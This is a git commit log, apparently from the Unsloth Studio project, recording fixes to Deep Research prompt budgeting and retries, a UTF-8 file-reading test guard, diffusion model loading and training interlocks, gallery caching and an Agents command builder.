only recovery is retry, which sets report_text NULL and deletes every
research_plan_step, research_source and research_document_source. Up to an hour
of scraping and synthesis is lost on a plain restart, on the feature whose whole
point is surviving one.

Treat only that refusal as transient: wait up to the run's own
modelTimeoutSeconds for a model to come back, then re-send. Any other 400 still
fails immediately, so no behaviour changes on the happy path. The wait polls
_check_active, so cancellation and lease loss are still honoured, and the model
probe fails open, so a probe error can only send a request, never withhold one.
Each wait is bounded by the run timeout and the number of waits per call is
capped, so a model that keeps disappearing cannot re-send forever.

Deliberately not pinning or restoring the model, which the review comment also
suggested. Auto-switch is opt-in, default off, and GGUF-only, so restoring
would silently evict the model the user just loaded from a background worker,
and comparing the configured name to the loaded id is fragile across variant
suffixes and advertised aliases, so it would break working runs.

Verified: 853 passed across the research/web/sandbox/chat-history/rag/inference
backend suites. Eight of the nine new tests fail without the fix.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make website-policy search reach the whole allowlist and refill past blocks for PR #7219

Two review findings on the website access policy.

Domains past the site: filter cap were undiscoverable. The policy accepts up to
100 allowed domains and the prompt tells the model all of them are searchable,
but scope_search_query always scoped to allowed[:8], so a source in the ninth or
later domain could never be found, and an undiscovered URL cannot be fetched
either. The cap itself is right, search engines stop honouring long OR chains,
so the window now rotates by a hash of the query instead of being a fixed head.
Every allowed domain is reachable across a multi-step run, the same query is
always scoped the same way, and lists at or under the cap are unchanged.

A page of blocked results returned nothing. The policy filters after the search
while DDGS was asked for exactly max_results candidates, so if those happened to
be disallowed the tool reported no results even when valid ones ranked just
below, wasting a research step. Ask for a deeper pool when a policy is set and
stop at max_results allowed entries. No policy means no over-fetch, so ordinary
searches are unchanged.

Verified: 2324 passed across the research/web/sandbox/chat-history/rag/tool
backend suites. The 8 test_studio_api.py failures are pre-existing and need live
OpenAI/Anthropic credentials; they fail identically with these changes stashed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Only overfetch search results when the website policy restricts for PR #7219

Follow-up to 8be0b3699. Every run stores normalize_website_policy(...), which
returns {"allowedDomains": [], "blockedDomains": []} and is truthy even when
nothing is restricted, so the default unrestricted path asked DDGS for four
times as many results on every step. That is pure added latency and timeout
risk, since the filter passes everything and only max_results entries are
returned either way. Test the domain lists rather than the dict.

* Budget the whole research prompt against the loaded context for PR #7219

Only the synthesis evidence was budgeted, so the budget could not prevent the
overflow it existed to prevent.

Measured at head with a realistic prompt (40-source catalog, 12-step plan): the
untrimmable scaffolding is about 7,900 chars and the conversation context adds
up to 12,000 more. On a 4096-token context, which is the GGUF auto-fit floor and
the transformers default, the synthesis request came to about 1.7x the window.
Worse, _synthesis_evidence_budget computed usable_tokens = 0 at or below the
4,096-token reserve and then returned the 1,500-char floor anyway, so it added
evidence to a prompt that already did not fit. The decision prompt had no
context awareness at all: a fixed evidence[-60000:], roughly ten times a small
window, on every step rather than once at the end.

Overflow is not cosmetic here. It either silently truncates and degenerates the
report, as the comment above these constants already warned, or fails the run,
and a failed run is only recoverable via retry, which deletes every plan step,
source and document source and nulls the report.

Both paths now share _prompt_char_budget plus _trimmable_budget: each trimmable
section is measured against what the rest of the prompt leaves, and can reach 0
instead of a floor, because a shorter report beats a destroyed run. Evidence is
budgeted before the chat history, since the evidence is the report. Unknown
context still keeps the full cap.

At 4096 tokens the synthesis prompt now fits (0.6x). Below that it is still
over, since a 40-source catalog alone exceeds the window; that needs a smaller
maxSources, and the context box does accept values down to 128.

test_synthesis_evidence_budget_tracks_loaded_context asserted the old floor at
2048 tokens, which is the bug, so it now asserts 0 and that the rest of the
prompt counts against the same budget.

Verified: 2325 passed across the research/web/sandbox/chat-history/rag/tool
suites. The test_mcp_stdio_sessions failure is pre-existing and fails
identically with these changes stashed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope replayed research history to its own attempt for PR #7219

A retry deletes the previous attempt's research_plan_steps, research_sources
and research_document_sources rows but keeps its events, and the SSE route
attaches one live run snapshot to every event it emits, replayed history
included. The step.completed payload carries only position, title, action,
input and sourceCount, so that snapshot is the sole source of the excerpt and
evidence.

On any refresh after a retry, a replayed attempt-0 step was therefore matched
against attempt-1's step row by position alone, and start_position resets to 0
after the delete, so the positions line up exactly. The preserved attempt-0
activity then showed attempt-1's excerpt and evidence, or lost them entirely
when attempt 1 had not yet reached that position, under a banner that says
previous activity is preserved. The run.started resumed branch read the same
cross-attempt snapshot and spliced those activities out.

Both are gated on the event's attempt matching the snapshot's retryCount, which
is the same attempt scoping get_reasoning_text already applies server-side. The
excerpt and evidence fall back to what the activity already holds, so a mismatch
is non-destructive rather than blanking it.

Verified: frontend contract 11 passed, tsc -b exit 0, and the new test fails
without the store change.

* Retry pre-stream failures in the research stream for PR #7219

_stream_completion serves planning, every decision step and synthesis, and it
had no transport retry: a connection error or a 5xx raised before any response
byte failed the durable run, and retry then deletes every gathered source,
document source and plan step. _completion already treats the identical
failures on the identical endpoint as retryable, so the two paths disagreed.

This is partly a hole my own 689b06535 opened. After the no-model 400 the body
is read, the connection returns to the pool, and _wait_for_local_model then
sleeps for up to modelTimeoutSeconds before re-sending on the same client.
Uvicorn's keep-alive is 5s, so that pooled connection is essentially always
server-closed by then, and losing the has_expired race raises
RemoteProtocolError, killing the run the wait existed to save. Also reachable
via a read timeout waiting for headers under prompt-eval load.

Retrying is safe only because nothing has been consumed at that point, and that
is structural rather than a convention: with stream=True httpx returns on the
response headers without calling aread(), and raise_for_status() reads no body,
both verified against the installed 0.28.1. The handler is scoped to the inner
try that ends at break, and _iter_stream_lines sits outside the loop with no
path back to send, so a re-send cannot duplicate report text.

Bounded and mirrors _completion: same >= 500 predicate, same 3 attempts, same
2**attempt backoff, lease and cancellation re-checked before re-sending. The
transport counter and the model-wait counter are independent, so they cannot
multiply. The response is closed before every re-send, as manual stream mode
requires.

Note HTTPStatusError is not a TransportError in httpx, so both are caught
explicitly.

Verified: 2330 passed. Five of the new tests fail without the fix; the three
that pass either way are the invariants that must not change (fail fast on a
real 400, never retry once the report has streamed, existing model-wait path).

* Bound the planning prompt to the loaded context for PR #7219

Completes dc16598a4, which budgeted the decision and synthesis prompts but left
planning unbounded. The question reaches the planner verbatim (a pasted document
arrives here as-is) and the history is capped only at the fixed 12,000 chars,
so on a small context planning could overflow before any plan was persisted,
failing the run without doing any research at all.

Same helpers as the other two paths. The question is budgeted before the
history, since the question is the request.

A test now asserts all three prompt paths hold their own context budget, so a
fourth path cannot be added later without one.

Verified: 2331 passed; the new test fails without the change.

* Keep prompt inputs non-empty and fit the source catalog for PR #7219

Two follow-ups to the prompt budgeting, the first a regression I introduced in
dc16598a4.

The output reserve was a flat 4096 tokens, so on any context at or below that,
including the documented 4096-token GGUF floor, the whole prompt budget came out
as 0. Every trimmable section then sliced to nothing: planning_question became
the empty string, so the planner never saw the request at all, and synthesis
dropped all its evidence. Removing the old floor outright went too far; an empty
prompt is worse than the overflow it was avoiding. The reserve is now capped at
half the window, and the question and the evidence each keep a floor, since one
carries the request and the other carries the answer. A truncated completion is
recoverable, a confidently empty report is not.

The source catalog was the one section still inserted whole. It holds up to
maxSources entries with snippets persisted at up to 4000 chars each, so on a
smaller context it alone could exceed the budget while the code responded only
by zeroing the evidence and history. It is now fitted first, dropping whole
entries from the tail rather than slicing mid-entry, because a half-truncated
URL is worse than an absent one: the validator would strip it and the claim
would be left uncited.

Verified: 2333 passed. All three new tests fail without the change; the question
now keeps 1072 chars at a 2048-token context and 4144 at 4096, where both were
previously 0.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten Deep Research comments for PR #7219

Post-convergence comment pass over the 40 source files in the PR diff, limited
to lines the PR itself adds so untouched upstream code in the same files is left
alone. 15 files, 110 insertions, 141 deletions.

The reduction is deliberately small. Almost every comment here records why
something non-obvious is done, a measured result, a spec rule, or the exact bug
it prevents, and those are worth more than the lines they cost, so nearly every
edit is a same-meaning compression rather than a deletion. Kept in full: the GFM
autolink citation for the URL trim, the catastrophic-backtracking note on
_DOCUMENT_CITATION, the prompt-budget notes recording that a reserve at or above
the context leaves nothing, the two measured site: filter findings, and the
remount note on the activity panel key.

Verified comment-only three ways: comment_tools.py reports 15/15 code-unchanged,
and an independent ast.dump comparison with docstrings stripped shows zero of the
12 Python files differing. 421 backend tests and the 11 frontend contract tests
pass, and the phrase the contract test asserts on is still present on one line.

* Harden Deep Research model streams

* Fit Deep Research decision prompts

* Preserve Deep Research follow-up context

* Redact composite credentials from research queries

* Scale Deep Research UI typography

* Address Deep Research refinement review

* Harden Deep Research refinement edge cases

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-26 23:36:02 -07:00
Leo Borcherding
1dd2fc4583
tests: read checked-in files as UTF-8 instead of the platform default (#7438)
* tests: read checked-in files as UTF-8 instead of the platform default

Path.read_text() with no encoding uses locale.getpreferredencoding(), which
is UTF-8 on the Linux runners and cp1252 on a stock Windows install. Nine
module-level reads of checked-in source files were relying on that default.

studio/backend/routes/inference.py carries the DeepSeek tool-call token
regexes, so it holds U+FF5C and U+2581. Under cp1252 that read raised
UnicodeDecodeError on byte 0x81 at position 97806, and because the reads run
at import time it took test_cancel_atomicity.py and test_cancel_id_wiring.py
out at collection, not as failures. Green on CI, permanently broken for a
Windows contributor running the suite locally.

Adds a guard: at module scope there is no tmp_path fixture, so a bare
read_text()/write_text()/open() there is always touching a checked-in file.
That makes the rule mechanical enough to enforce with no allowlist, while
staying quiet about temp-dir I/O inside test bodies where the platform
default is harmless.

The repo already spells this correctly in 464 other places; this only stops
the stragglers coming back.

* tests: cover import-time helper reads and keep the guard py3.9-safe

Follows up on the Codex review:

- add `from __future__ import annotations`, since `str | None` in
  `_offender` is evaluated at import on Python 3.9 and pyproject declares
  requires-python ">=3.9,<3.15".
- widen the guard from module scope to import time. Class bodies and the
  bodies of module-level helpers called from an executing statement run
  during collection too, so `CODE = _extract_mixed_precision_code()` was
  the same hazard as an inline read. `if __name__ == "__main__":` blocks
  are skipped: pytest never executes them.
- scan studio/backend/tests/ as well as tests/. Both trees are collected
  on Windows by separate CI jobs, and the offender that started this,
  test_tool_xml_strip.py reading routes/inference.py, lives there.

Widening it surfaced seven more import-time reads of checked-in sources;
all now name utf-8.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden the import-time encoding guard for PR #7438

Close the detector gaps raised in review, all of which I reproduced against
the actual AST before changing anything.

False negatives (the guard let a real hazard through):
- _is_main_guard ignored the comparison operator, so if __name__ != "__main__"
  counted as script-only even though its body runs at import.
- The else arm of a main guard was discarded with the rest of the If node.
- Decorators and argument defaults on a module-level def were skipped with the
  body, though both are evaluated when the def executes.
- Path.open() in text mode was invisible; only builtin open() was matched.
- encoding = None and encoding = "locale" both re-select the platform default,
  but the keyword merely being present counted as pinned.

False positives (the guard would have blocked a compliant contributor):
- A non-literal mode fell through to the "r" default, so open(p, mode) was
  flagged even when mode is "rb", where adding encoding= is a ValueError and
  there is no edit that satisfies the rule.
- Same for open(*args) and a **kwargs splat, which hide the mode and can hide
  an encoding.
- Lambda bodies and comprehension elements were walked even though neither runs
  at definition.

Verified: still reports the same 22 offenders on unpatched main, green on this
branch and on the tree merged with latest main (557 files), and an adversarial
corpus of 33 cases now scores zero false positives and zero false negatives.
Also corrected two docstring claims: neither collecting job runs on Windows,
and the read is governed by locale.getencoding().

* Walk eager comprehensions and treat io.open as the builtin

Two regressions from the previous commit, both reproduced against the AST
before changing anything.

Lumping list, set and dict comprehensions in with generator expressions was
wrong. Only a genexp is lazy; the other three run their element expression,
their filters and their nested iterators immediately, so
CONTENTS = [p.read_text() for p in PATHS] at module scope is an import-time
read the guard was silently missing. Comprehensions are now walked in full and
only the genexp keeps the outermost-iterable-only treatment.

io was also in the not-a-path-opener list, but io.open is the builtin, with the
same mode position and the same platform default. io.open(CHECKED_IN_FILE) is
exactly the hazard this guard exists for, so it is matched now, with binary
modes and a pinned encoding still exempt. tarfile.open and fitz.open stay
exempt since neither has an encoding to name.

Verified: 13 targeted cases covering all five eager comprehension forms and
io.open in text, binary and pinned shapes all classify correctly; still 22
offenders on unpatched main; green on this branch and on the tree merged with
latest main.

* Close three more walker gaps in the import-time guard

All three reproduced against the AST first.

A generator expression handed straight to a call is consumed there, so
DATA = "".join(p.read_text() for p in paths) runs its element at import. Only
an unconsumed genexp bound to a name stays lazy, so the walker now follows the
consumed ones in full and keeps the outermost-iterable-only treatment for the
rest.

if "__main__" == __name__ is an equivalent and accepted spelling of the main
guard, but requiring __name__ on the left meant its body was treated as
import-time code. That is a false positive on a block pytest never runs, so
both operand orders are recognised now.

The helper table was built from module-level defs only, so a def in a class
body invoked while the class is constructed was never followed, contradicting
the walker's stated coverage of class bodies. Helpers are now collected from
the module body and from class bodies at any nesting.

Verified: 15 targeted cases including all three fixes and the earlier ones
still classify correctly; still 22 offenders on unpatched main; green on this
branch and on the tree merged with latest main.

* Handle positional read_text encodings, lazy generators and nested helpers

* Guard reads reached from test bodies, unbound Path calls and __file__ paths

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Follow derived paths, skip lazy generator helpers, cover compressed openers

* Guard the CLI tests, helper parameters and unbound Path arguments

* Discover test roots and follow literal, in-place and tuple-derived paths

* Identify module openers by import, unwrap starred paths, pin subprocess snippets

* Resolve import origins, seed helper locals, follow named generators and parametrize

* Scope imports lexically, list tracked test files, bind unpacked names

* Resolve aliased openers, keyword-only params, destructured targets, next()

* Pin the encoding on subprocess snippets, workflow lint and CLI output for PR #7438

* Harden the CLI encoding guard against detached streams for PR #7438

* Tighten the encoding guard's path and scope analysis for PR #7438

* Resolve path provenance more precisely and keep POSIX stream encodings for PR #7438

* Resolve qualified path classes and scope conditional imports for PR #7438

* Scope CLI stream setup to the entry point and align two encoding pairs for PR #7438

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-26 23:31:56 -07:00
alkinun
217e8f036c
fix(studio): report Vulkan GPUs in system UI (#7476)
* fix(studio): report Vulkan GPUs in system UI

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): separate Vulkan inference GPU reporting

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): keep retrying Vulkan probe refreshes

* fix(studio): preserve known zero GPU budgets

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-26 23:28:39 -07:00
Souravrajvi0
9eaf5c29a5
fix(studio): reject Vulkan diffusion gpu_ids before Phase 1 teardown (#7415)
* fix(studio): reject Vulkan diffusion gpu_ids before Phase 1 teardown

Classify local GGUF paths (and cached HF downloads when available) for
diffusion before _kill_process() so unsupported gpu_ids requests return
400 without tearing down the active model. Fixes #7205.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): always pre-download HF GGUF before Vulkan diffusion preflight

Reverts the cached-path shortcut so partial split caches still run
_download_gguf before Phase 1 teardown. Header-only classification from
resolve_local_gguf_path() does not prove the variant is complete.

* Fix inaccurate shared-constant comment and cover the local pre-teardown branch for PR #7415

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add a regression test for the pre-teardown GGUF download for PR #7415

* Tighten the Vulkan diffusion preflight comments for PR #7415

* Trim the Vulkan diffusion preflight comments for PR #7415

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-07-26 23:08:31 -07:00
Daniel Han
4850fd239d Expose the persistent conditioning cache in the start schema
DiffusionLoraConfig has carried cond_cache_dir for a while and the DiT trainer
acts on it, but DiffusionTrainingStartRequest omitted the field, so Pydantic
dropped it silently and every API-driven run fell back to the in-memory cache
that is rebuilt from scratch each time. The warm path skips loading the VAE and
the multi-GB text encoders on a rerun whose images, captions and resolution are
unchanged, so this was a real capability that could not be reached.

Contained like output_dir rather than left to the trainer subprocess's cwd,
since it is another directory the trainer writes to. Blank or omitted still
means the in-memory cache, so it must not resolve to the outputs root.
2026-07-27 05:48:07 +00:00
Daniel Han
7d15f202a4 Close the load-versus-training-start race, and two picker fixes
- The image and video load guards read is_active() and only then selected an
  engine, acquired the arbiter and registered the load. A /train/diffusion/start
  reserving inside that window freed residents the load had not registered yet,
  so the trainer came up beside a brand-new pipeline. The service already had
  exactly the right pattern for this in dataset_mutation, so gpu_load_admission
  mirrors it: reserve() refuses while an admission is open, an admission refuses
  once a start is reserved, both decided under the one lock. The span is only the
  registration, since begin_load returns as soon as the load is registered and
  _free_gpu_for_diffusion_training preempts an in-flight load from that point.
  Chat is deliberately not covered: its load spans an eviction plus a multi-minute
  GGUF load, and it admits models that fit beside training by design, which is a
  different contract from the diffusion pipeline's all-or-nothing one.

- Hugging Face gives the LTX-2 family the image-to-video pipeline_tag (both
  Lightricks/LTX-2 and unsloth/LTX-2.3-GGUF report it), so a text-to-video-only
  filter dropped the flagship audio family out of Video Hub search while the rest
  of the app routed it to Video.

- Task-scoped quant fit sized picks against the LARGEST visible device while
  resolve_diffusion_device_target returns a bare "cuda" and torch places on the
  current one. On a heterogeneous host that recommended a checkpoint sized for the
  bigger card and then loaded it onto the smaller one. Fit now uses the device the
  load actually lands on; identical on a homogeneous host.
2026-07-27 05:44:41 +00:00
Daniel Han
3f6057a2b2 Bound the gallery blob cache, and three interlock fixes
Four review findings, all reproduced first:

- The gallery object-URL caches were unbounded. A clip runs from a few MB to a
  few hundred, both pages stay mounted after their first visit, and entries were
  only dropped on delete, so scrolling pinned everything for the session. Both
  pages now share a byte-budgeted LRU (512 MB video / 192 MB images) keyed off
  the visibility signal the near-viewport fetching already provides. On-screen
  media, the selected clip or image, and the item just fetched are never
  evicted, so eviction is invisible and a single item larger than the whole
  budget cannot evict itself into a refetch loop.

- The image, video and chat load guards ran two independent training probes but
  returned early when the FIRST one raised, so an unreadable LLM backend
  disabled the diffusion interlock and a load could proceed straight into an
  active diffusion trainer on the same GPU. The probes are independent now.

- An engine switch swallowed a failed teardown and published the new engine
  anyway, which is exactly the leak the unload exists to prevent: the arbiter's
  evictor, /images/unload and the next load all resolve through
  get_active_diffusion_engine(), so the still-resident pipeline (or a live
  sd-server) became unreachable and the next load allocated on top of it. The
  switch now fails and leaves the old engine published, so it stays reclaimable.

- The native generation timeout was 30 minutes while the Images page waits up to
  6 hours (SETTLE_MAX_MS), so slow-but-progressing CPU jobs died deterministically
  at the deadline. Measured on GPU-less runners, a 512x512 4-step Q2_K generation
  took 900 s on Linux and 1465 s on Windows, so larger images or step counts clear
  half an hour easily. The ceiling now matches the page's window and applies to
  the whole request: chunks of a split batch share one deadline instead of each
  getting a full budget. Cancellation is unchanged.

Declined: gating the huggingfacenotorch extra off Python 3.9 over the
conditional diffusers marker. The marker is deliberate and its comment says why:
diffusers dropped 3.9 in 0.38, so pinning >=0.39 outright leaves pip no candidate
and the whole extra unresolvable there. The pipelines it names live in
studio/backend, which cannot install on 3.9 anyway (studio.txt pins
matplotlib==3.10.9 and fastmcp>=3.0.2, both requires_python >=3.10), and the
extra is the general core one, so the alternative drops 3.9 for library users who
never touch Studio.
2026-07-27 05:08:45 +00:00
pre-commit-ci[bot]
c261194fa5 [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 04:29:44 +00:00
Daniel Han
b671038f2d Stop staging the dense text encoder for an fp8 video load
Two halves of the same gap, found while measuring the LTX-2.3 download plan:

- The video download plan and the scoped pre-download never saw
  text_encoder_quant. An fp8 request loads a hosted pre-cast encoder, so
  asking for one still staged and downloaded the base repo's dense Gemma3
  (48.79 GB of Lightricks/LTX-2 on the 2.3 distilled pick) that the pipeline
  then never opened. The plan now drops those shards and stages the pre-cast
  checkpoint instead; their configs stay, since the pre-cast loader still
  meta-inits the encoder from the base repo's component config.

- The LTX-2.3 assembly builds every component itself, so pipe_kwargs (which
  carries the pre-cast encoder for from_pretrained) never reached it and an
  fp8 request silently loaded the dense encoder anyway. It is passed across
  explicitly now.

The dense skip is earned, not assumed: only a pre-cast checkpoint that
resolves on the Hub lets the plan drop the dense shards, and only one already
fetched to disk lets the pull drop them, so an unpublished or gated artifact
leaves both exactly as they were. If injection still fails after that, the
load tops the dense weights back up rather than handing from_pretrained a
snapshot with no encoder in it.

Measured against the real Hub on the 2.3 distilled Q4_K_M pick: 67.24 GB
before, 18.92 GB with a 0.43 GB stand-in for the pre-cast artifact (the base
entry drops from 24 files / 48.79 GB to 13 files / 0.04 GB).
2026-07-27 04:28:12 +00:00
Daniel Han
72d9de7b38 Keep the reason a native server died, not just its backtrace
A ggml abort prints its cause first and then a stack trace, so reporting the last twenty captured
lines gave twenty addresses and nothing about the failure: on the macOS runner the native server
died on an unimplemented Metal op and the message carried only frame pointers. The captured tail
now leads with the lines that name a cause and keeps recent context after them, for both the
startup failure and the mid-request death.
2026-07-27 03:56:45 +00:00
Daniel Han
07e55ad387 Treat an undecodable caption sidecar as the tombstone the trainer sees
Uploads store .txt and .caption sidecars as raw bytes, so one can hold invalid UTF-8. The
trainer treats any existing sidecar, decodable or not, as an empty tombstone and never falls
back to the metadata row for that image. The labeling grid and the dataset summary read an
undecodable sidecar as absent instead, so both showed a metadata caption that the run would
silently replace with the instance prompt, and counted the image as captioned. Both now track
sidecar presence separately, so what the user reviews is what the run trains on.
2026-07-27 03:52:57 +00:00
Daniel Han
a47cc6299d Name the class of a failed generation instead of a bare "Image generation failed."
Found on a macOS runner: the native renderer aborts inside its own text encoder there, and the
page showed only "Image generation failed." with the sd-server backtrace left in the server log,
so nothing about the failure reached the user. The failure is now classified into fixed text, out
of memory and native-process death, so the message says what happened and what to try. None of the
engine's own output is echoed, since a native tail carries local paths and argv; that stays in the
log, and an unrecognised failure keeps the original literal.
2026-07-27 03:45:40 +00:00
Daniel Han
ff01108a70 Resolve revisions from the live cache, serialize dataset imports, and stop pinning every gallery blob
Five more items from the review round.

The conditioning-cache revision marker read huggingface_hub's import-time HF_HUB_CACHE
constant. Studio can move its cache during a session and loading follows the live setting, so
after a move the marker went unresolved (or pointed into the previous root) and pulling a new
revision of the same checkpoint no longer invalidated the cache: a warm run could reuse the
old encoder's embeddings and the old VAE's latents. It now looks in the active Studio cache
first and keeps the environment and the library constant as fallbacks, which the trainer
subprocess still needs.

The dataset interlock counts mutations rather than excluding them, so two imports of different
examples into the same empty name both got past the emptiness check. The winner promoted its
staging directory atomically; the loser found the folder non-empty, fell back to a per-file
move, and merged its images and captions into the winner's dataset. Imports now take a
per-folder lock, a second one is refused with 409, and the emptiness check is repeated under
the lock.

On Windows the sd.cpp asset resolver filtered only by accelerator token, so a Windows arm64
host matched an x64 zip, downloaded and installed it, and failed later when the binary would
not run. It now filters by architecture the way the Darwin and Linux branches do.

Every gallery page fetched every PNG up front and kept the object URL for the session, so
scrolling a large gallery grew memory without bound for tiles the user may never look at. The
Images strip now fetches a tile as it nears view, like the Video strip, and keeps the eager
path only where IntersectionObserver is unavailable.

A 503 carrying a JSON body comes from the application, not a proxy, so it is surfaced as the
error it is instead of entering lost-response settlement and being reported as a request that
never reached the server.
2026-07-27 03:37:10 +00:00
Daniel Han
804589d78b Merge remote-tracking branch 'origin/image-generation' into r6763 2026-07-27 03:26:28 +00:00
Daniel Han
a3975d6500 Stop adopting an unknown scoped download, leaking raced blobs and resurrecting deleted clips
Three items from the latest review round.

A scoped download job carries a deliberate file subset, and every file set of one repo rides
the same "@scope" slot. A client that adopts a live job from the backend had no file list to
compare against: the active-downloads response never carried one, so an adopted job's set was
unknown and any later scoped request for the same repo read as "already started". Selecting a
different checkpoint then waited on the wrong transfer and tried to load a file nobody
fetched. The response now publishes the scoped file list, adoption records it, and an unknown
set no longer satisfies a scoped request.

A gallery record can be deleted while its blob is still downloading. The delete revokes the
URL present at that moment, so the fetch that lands afterwards inserted a fresh object URL for
a record no card renders and nothing can revoke: a full MP4, tens to hundreds of MB, pinned
for the rest of the session, and once per raced fetch. Both galleries now discard a blob whose
record went away, with an epoch covering the video page's Clear all.

The video backend keeps the last completed job until the next one starts, and the Video page
merges that record on mount to cover a job that finished after the gallery fetch. Deleting the
clip left the record in place, so every reload prepended a ghost card whose file request 404s
until another generation replaced it. Deleting the clip, or clearing the gallery, now clears
the matching terminal record, and the page skips a record it deleted itself.
2026-07-27 03:26:10 +00:00
pre-commit-ci[bot]
9b8e49262c [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 03:01:19 +00:00
Daniel Han
3c6cae3863 Merge remote-tracking branch 'origin/main' into r6763_mainmerge
# Conflicts:
#	studio/backend/routes/models.py
2026-07-27 02:49:24 +00:00
Daniel Han
d6d8b8b1a6 Fix the lost-generation proof set, the settle timeout and the hub inventory's diffusion gates
Seven fixes from the latest review round on the Images page and the hub cache inventory.

Images page:
- The lost-POST settle path built its "already seen" gallery id set inside the catch, after
  the request failed. By then the earlier runs of the same batch had already prepended their
  records, so run 2 could accept run 1's image as proof that its own request reached the
  backend. The set is now captured once before the first POST and grows with every record the
  batch produces.
- settleLostGeneration fell out of its SETTLE_MAX_MS loop and returned normally, so a wedged
  generation was counted as done and the next run started against a busy backend. It now
  throws on timeout.
- Restoring a recipe cleared the ControlNet selection but left the workflow tab and the
  init / mask / reference images pointing at whatever was loaded, so the next Generate
  conditioned on an unrelated image. It now clears all of them and returns to Create.
- The download plan omitted the adapter selection the load itself bakes in. A baked LoRA
  forces the dense build path, so the plan described a different file set than the load that
  followed and the rest was pulled inline, outside the download manager. Both now derive the
  list from one helper.

Hub cache inventory:
- A download for a repo an Images or Video load is staging was allowed to start: only the
  llama.cpp loader was consulted. Both diffusion backends already expose loading_repo_ids for
  the delete guard, and the download guard now reads them too.
- A companion-only prefetch (pipeline manifest plus VAE and text encoder, no transformer)
  passed the snapshot-partial check, since every file its manifest expected did arrive, and
  was advertised as on-device although from_pretrained cannot load it.
- The single-file flag never reached the picker through the hub inventory path, so a
  checkpoint-only diffusion repo read as a full pipeline and failed after the handoff.

The two pipeline-shape helpers now live in hub/utils/inventory_scan.py so /api/models/cached
and the hub inventory classify the same repos the same way.
2026-07-27 02:45:24 +00:00
Daniel Han
67d3660393 Do not stub out triton on a GPU host when the Xet backend fails to import
The lazy loader retries `import unsloth_zoo.hf_xet_fallback` under
UNSLOTH_ZOO_DISABLE_GPU_INIT=1 whenever the first attempt raises. That flag makes
unsloth_zoo take its MLX/CPU path, which injects triton and bitsandbytes STUBS into
sys.modules for the rest of the process.

On a working GPU box whose first import failed for an unrelated reason (a
bitsandbytes/CUDA mismatch, say) the retry succeeds, so Studio boots looking healthy
and then dies at the first CUDA-only kernel: a GGUF or compiled diffusion generation
hits the stub and returns

  NotImplementedError: Unsloth: 'triton.tools.experimental_descriptor.enable_in_pytorch'
  was called on Apple Silicon / MLX, where triton is stubbed out.

so every image generation 500s with an Apple-Silicon message on a Linux CUDA host,
while the load reports success. Found by loading Z-Image-Turbo GGUF through the API on
a box where bitsandbytes could not initialise.

Gate the retry on the host genuinely having no accelerator. The Xet stall watchdog is
optional and already degrades with a warning; a process whose triton is stubbed out is
not recoverable. The warning now says why it did not retry.
2026-07-27 02:23:26 +00:00
Lee Jackson
7f0910fcc6
Add interactive Agents command builder (#7312)
* Add Agents settings tab for unsloth start

Adds a Settings > Agents tab documenting the `unsloth start` command:
quickstart, supported agents with click-to-copy commands, model
selection, common options, remote Studio setup, argument pass-through,
and a dry-run preview. Agent CLIs found on PATH are badged as installed.

Also removes the "New" badge from the System and Chat tabs.

* Use official brand logos for agents, invert Ollama and OpenRouter in dark mode

Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from
the provider-logos registry; agents without an official asset keep the
monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode
so their monochrome marks stay visible.

* Title Agents tab "Agents (unsloth start)" and move it below Connections

The in-tab header now reads "Agents (unsloth start)" while the sidebar
label stays "Agents". Reorders the tab to sit below Connections.

* Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet

- Only probe agent PATH in the desktop app on a loopback backend, so
  Installed badges are not driven by a remote server's environment.
- Show the "none found" note only when detection actually ran and
  returned empty, not when the call failed.
- Share one copy hook that resets its timeout on rapid clicks and clears
  it on unmount.
- Render the Remote Studio snippet with PowerShell syntax on Windows.
- Note that --no-launch can still load a model when --model is set.
- Drop unused quickstart translation keys.

* Add interactive Agents command builder

* Add local subagent command guidance

* Add official coding agent icons

* Use client OS for remote commands, fix copy a11y and model wording (#7303)

- Pick the remote snippet shell from the client platform, not the server deviceType
- Single-line the model examples so they paste in POSIX, PowerShell and cmd
- Split the pass-through block into independent one-command copies
- Derive detection visibility instead of clearing state in the effect
- Announce copy success to assistive tech
- Correct the quickstart/model copy: bare start uses the loaded model

* Shell-quote the model, forward the HF token, and fix the quant placeholder

- Quote the --model value in the generated and subagent commands so a local
  path with spaces or metacharacters stays a single argument (client-OS aware)
- Pass the saved Hugging Face token to listGgufVariants so gated repos resolve
- Show 'No separate quantization' instead of a stuck 'Loading quantizations...'
  when a model has no variants; clear the failure once a later request succeeds

* Fix Agents command discovery and routing

